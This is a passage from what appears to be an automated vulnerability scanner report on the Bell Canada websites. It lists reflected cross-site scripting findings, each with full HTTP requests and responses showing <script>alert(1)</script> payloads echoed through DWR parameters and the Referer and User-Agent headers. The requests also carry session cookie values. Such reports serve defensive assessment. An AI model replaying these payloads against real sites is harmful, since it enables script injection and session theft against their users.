2.33. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [c0-scriptName parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr

Issue detail

The value of the c0-scriptName request parameter is copied into the HTML document as plain text between tags. The payload efd2c<script>alert(1)</script>6873671f39a was submitted in the c0-scriptName parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079
Origin: http://www.bell.ca
Content-Type: text/plain
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B
Content-Length: 1272

callCount=1
page=/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079
httpSessionId=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499
scriptSessionId=200B4D22333A8BD02FA4D13DBC060B73370
c0-scriptName=WirelessSolutionHandlerefd2c<script>alert(1)</script>6873671f39a
c0-methodName=performAction
c0-id=0
c0-param0=string:mainLoadAction
c0-param1=string:%7B%22cellPhoneSku%22%3A%22%22%2C%22cellPhoneSubSku%22%3A%22%22%2C%22cellPhoneVariantSku%22%3A%22%22%2C%22productC
...[SNIP]...

Response

HTTP/1.1 200 OK
Content-Length: 432
Content-Type: text/javascript; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:54:45 GMT

//#DWR-REPLY
if (window.dwr) dwr.engine._remoteHandleBatchException({ name:'java.lang.SecurityException', message:'No class by name: WirelessSolutionHandlerefd2c<script>alert(1)</script>6873671f39a' }, '1');
else if (window.parent.dwr) window.parent.dwr.engine._remoteHandleBatchException({ name:'java.lang.SecurityException', message:'No class by name: WirelessSolutionHandlerefd2c<script>
...[SNIP]...

2.34. http://www.bell.ca/shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr [callCount parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr

Issue detail

The value of the callCount request parameter is copied into the HTML document as plain text between tags. The payload 32b02<script>alert(1)</script>70c4d6214bd3d44d was submitted in the callCount parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /shopping/dwr/call/plaincall/WirelessSolutionHandler.performAction.dwr?callCount=132b02<script>alert(1)</script>70c4d6214bd3d44d&page=/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079&httpSessionId=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499&scriptSessionId=200B4D22333A8BD02FA4D13DBC060B73370&c0-scriptName=WirelessSolutionHandler&c0-methodName=performAction&c0-id=0&c0-param0=string:mainLoadAction&c0-param1=string:%7B%22cellPhoneSku%22%3A%22%22%2C%22cellPhoneSubSku%22%3A%22%22%2C%22cellPhoneVariantSku%22%3A%22%22%2C%22productColourId%22%3A%22%22%2C%22contractTermSku%22%3A%22%22%2C%22smallImageUrl%22%3A%22%22%2C%22largeImageUrl%22%3A%22%22%2C%22phoneName%22%3A%22%22%2C%22cellPhoneCategory%22%3A%22%22%2C%22ratePlanSku%22%3A%22%22%2C%22ratePlanPage%22%3A%22%22%2C%22ratePlanCategorySku%22%3A%22%22%2C%22bundlePage%22%3A%22%22%2C%22additionalAccessoriesSku%22%3A%5B%5D%2C%22additionalFeaturesSku%22%3A%5B%5D%2C%22additionalBundlesSku%22%3A%5B%5D%2C%22additionalLongDistancesSku%22%3A%5B%5D%2C%22ratePlanBonusesSku%22%3A%5B%5D%2C%22otherServices%22%3A%5B%5D%2C%22blundleElegible%22%3Afalse%2C%22actionJS%22%3A%22505079%22%2C%22componentId%22%3A%22WirelessSolutionSteps%22%2C%22componentClassName%22%3A%22WirelessSolutionStepsBuilderComponent%22%2C%22actionName%22%3A%22mainLoadAction%22%7D&c0-param2=string:WLS-DLT-24QX2BGRY-B3105&batchId=1 HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page?createSolution=true&uid=505079
Origin: http://www.bell.ca
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B

Response

HTTP/1.1 200 OK
Content-Length: 470
Content-Type: text/javascript; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:54:43 GMT

//#DWR-REPLY
if (window.dwr) dwr.engine._remoteHandleBatchException({ name:'org.directwebremoting.extend.ServerException', message:'The specified call count is not a number: 132b02<script>alert(1)</script>70c4d6214bd3d44d' });
else if (window.parent.dwr) window.parent.dwr.engine._remoteHandleBatchException({ name:'org.directwebremoting.extend.ServerException', message:'The specified call count is not a number: 132b02<
...[SNIP]...

2.35. http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload d1f95<script>alert(1)</script>bd1b04255ca was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm?method=sso.init&content=minidashboard HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=d1f95<script>alert(1)</script>bd1b04255ca
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478575947%3B%20s_lv%3D1290476775951%7C1385084775951%3B%20s_lv_s%3DFirst%2520Visit%7C1290478575951%3B%20s_pv%3DShop%253AMobile%253ASmartphones%252C%2520phones%2520-%2520mobile%2520internet%253AProducts%2520details%7C1290478575972%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":4,"to":4.3,"c":"http://www.bell.ca/shopping/LG-Optimus-Quantumwith-Windows--Phone-7/70772.details","f":1290476775436,"lc":{"d0":{"v":2,"s":false}},"cd":0,"sd":0}; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478633896%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.5.10.1290476758; SMSESSION=L6II3SSSeemV5AQpg6Kml0iIc24n3y6KzveGibXCtoI+3xJYnOhwIpxVmSr2GIBwI+E0oKyHNdNcTDrPXcSYVqGadDucasZ7tK70rfx22GODGp2Kmi2nK7MDzb5/NGENqkX5Seo/dJ35j/eBz4wy1PzTTnmL6oo7K6ud+64OcuZqf0pObrBEAtpWcduIq3v2Z9yfRuliL/qFxcck+wosvr6jNTKHz1OKgE6w92Y4fGnIEShSUAAeL2uL6Y9RER8MCBMgQUy/FzLRe7cWV7SXKztbgpBLLL40rFq4YG/CFWhcWQGBfuJ0mA==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:49:10 GMT
Connection: close
Set-Cookie: SMSESSION=CeCoTCLk1L9ElLjf1seBa6ArvTheQ+imEWEV5Imslld7AsQzY46HScnaj0l1YfAHHMAA/gM3ossnbZpHYsLrd1LRF0CEMzXIet3bQXHZERhMY+vdYg5dWkrmG4TKtdv2oCRkbgF1VK1JZYzphX0L0s8n3yEoUJom6wH+CkWj3/d67EP5qJWUQGHV6U/ic2Dn0xVYXlVI/2ufyQW7K4V130nAxxrsUvuiHlVzIJ+xmLHhJD5cc+wgXJf12agvPkURkFvrFMqtafvM05JxasGH6Xbl1ehJwZuDrzL1pdfSE3gxdAaxwzL5tA==; path=/
Content-Type: text/html; charset=ISO-8859-1

<!-- " ---></TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></
...[SNIP]...
<font style="COLOR: black; FONT: 8pt/11pt verdana">http://www.google.com/search?hl=en&q=d1f95<script>alert(1)</script>bd1b04255ca</td>
...[SNIP]...

2.36. http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm

Issue detail

The value of the User-Agent HTTP header is copied into the HTML document as plain text between tags. The payload 38a23<script>alert(1)</script>c30a5e06ce9 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/index.cfm?method=sso.init&content=minidashboard HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Referer: http://internet.bell.ca/favicon.ico9fc66%22%3E%3Cscript%3Ealert(1)%3C/script%3Eeb765000cc9
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.738a23<script>alert(1)</script>c30a5e06ce9
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; gemini=region=ON|province=NS|myurl=CSQ|language=en; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; VOKEN_SEEN=0; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478575947%3B%20s_lv%3D1290476775951%7C1385084775951%3B%20s_lv_s%3DFirst%2520Visit%7C1290478575951%3B%20s_pv%3DShop%253AMobile%253ASmartphones%252C%2520phones%2520-%2520mobile%2520internet%253AProducts%2520details%7C1290478575972%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.s={"v":1,"rid":"1290476637978_715804","pv":4,"to":4.3,"c":"http://www.bell.ca/shopping/LG-Optimus-Quantumwith-Windows--Phone-7/70772.details","f":1290476775436,"lc":{"d0":{"v":2,"s":false}},"cd":0,"sd":0}; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478633896%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290476758.1; __utmc=250352478; __utmb=250352478.5.10.1290476758; SMSESSION=L6II3SSSeemV5AQpg6Kml0iIc24n3y6KzveGibXCtoI+3xJYnOhwIpxVmSr2GIBwI+E0oKyHNdNcTDrPXcSYVqGadDucasZ7tK70rfx22GODGp2Kmi2nK7MDzb5/NGENqkX5Seo/dJ35j/eBz4wy1PzTTnmL6oo7K6ud+64OcuZqf0pObrBEAtpWcduIq3v2Z9yfRuliL/qFxcck+wosvr6jNTKHz1OKgE6w92Y4fGnIEShSUAAeL2uL6Y9RER8MCBMgQUy/FzLRe7cWV7SXKztbgpBLLL40rFq4YG/CFWhcWQGBfuJ0mA==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 01:49:09 GMT
Connection: close
Set-Cookie: SMSESSION=5BVK3KyJZe5aXDjpvSE0tt72rGgLa3phdBZzL7nuDqxWUBMeP3fCsyQ77M/nGQcmNa4uox2vCOBaYgPybHJZhSKJCRR9Hc6sRuv1jHNinIi8Ue9UXKBXgw3FdGYkGo4mSJacIf0ergNNFdJVi/+mdNbfOE9usho3tKrQG18Ts2Jx93079OD9I1WgNihtsjRD6/2BXDes7sBOtILg7s3ChomCLSC1tlyNUSUqJJnnlaLsyf4C9XEeZnOFzh42rTkigxLmbrKF3eyeCf+6F2axqVA/EVHBuePKZ4J0cYqauO+FIDyJmV59bA==; path=/
Content-Type: text/html; charset=ISO-8859-1

<!-- " ---></TD></TD></TD></TH></TH></TH></TR></TR></TR></TABLE></TABLE></TABLE></A></ABBREV></ACRONYM></ADDRESS></APPLET></AU></B></BANNER></BIG></BLINK></BLOCKQUOTE></BQ></CAPTION></CENTER></CITE></
...[SNIP]...
<font style="COLOR: black; FONT: 8pt/11pt verdana">Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.738a23<script>alert(1)</script>c30a5e06ce9</td>
...[SNIP]...

2.37. http://www.bell.ca/shopping/function%20(obj)%7B%20%20%20%20%20%20%20%20for(var%20i=0 [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/function%20(obj)%7B%20%20%20%20%20%20%20%20for(var%20i=0

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 63033--><script>alert(1)</script>89cd575974e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/function%20(obj)%7B%20%20%20%20%20%20%20%20for(var%20i=0;%20i%3Cthis.length;%20i++)%7B%20%20%20%20%20%20%20%20%20%20%20%20if(this[i]==obj)%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20i;%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20return%20-1;%20%20%20%20%7D HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=63033--><script>alert(1)</script>89cd575974e
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B

Response

HTTP/1.1 404 Not Found
Date: Tue, 23 Nov 2010 01:54:22 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=63033--><script>alert(1)</script>89cd575974e -->
...[SNIP]...

2.38. http://www.bell.ca/shopping/resources/error/server_error_redirect.jsp [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /shopping/resources/error/server_error_redirect.jsp

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 21c7e--><script>alert(1)</script>c8db6e1fe3b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/resources/error/server_error_redirect.jsp HTTP/1.1
Host: www.bell.ca
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=21c7e--><script>alert(1)</script>c8db6e1fe3b
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WirelessSolutionBuilderComponentKey=WLS-DLT-24QX2BGRY-B3105; __g_c=w%3A1%7Cb%3A2%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; __g_u=276131723871238_1_0.05_0_5_1290908625687; GEMSESSIONID=0zrYMrcNpy2tpdhWcXkhqTs6Gsm1hy0vQvcXDv97Qv0YHL4cBqJv!-1782992499; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290478955439%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dbellca%253D%252526pid%25253Dnb%2525253Ac%2525253Acust_care%2525253Ainternet%2525253Aco%2525253Amethod%2525253Dhome.pagenotfound%25252528en-on%25252529%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.bell.ca/home/%2525253FlanguageToggle%2525253Dtrue%25252526language%2525253Den%25252526regionToggle%2525253Dtrue%25252526region%2525253DON%252526ot%25253DA%3B; gemini=region=ON|province=ON|myurl=CSQ|language=en; __g_c=w%3A1%7Cb%3A9%7Cc%3A276131723871238%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; fsr.s={"v":1,"rid":"1290476637978_715804","pv":8,"to":4.9,"c":"http://www.bell.ca/shopping/PrsShpWls_Solution_Builder.page","f":1290477163379,"lc":{"d0":{"v":5,"s":true}},"cd":0,"sd":0,"pn":0}; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290478973047%3B%20s_lv%3D1290477173051%7C1385085173051%3B%20s_lv_s%3DFirst%2520Visit%7C1290478973051%3B%20s_pv%3DSolution%2520builder%7C1290478973063%3B

Response

HTTP/1.1 200 OK
Content-Length: 6226
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
X-Powered-By: Servlet/2.5 JSP/2.1
Date: Tue, 23 Nov 2010 01:57:32 GMT


<html>
<head>
   <title>Server error/Erreur serveur</title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6]
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=21c7e--><script>alert(1)</script>c8db6e1fe3b -->
...[SNIP]...

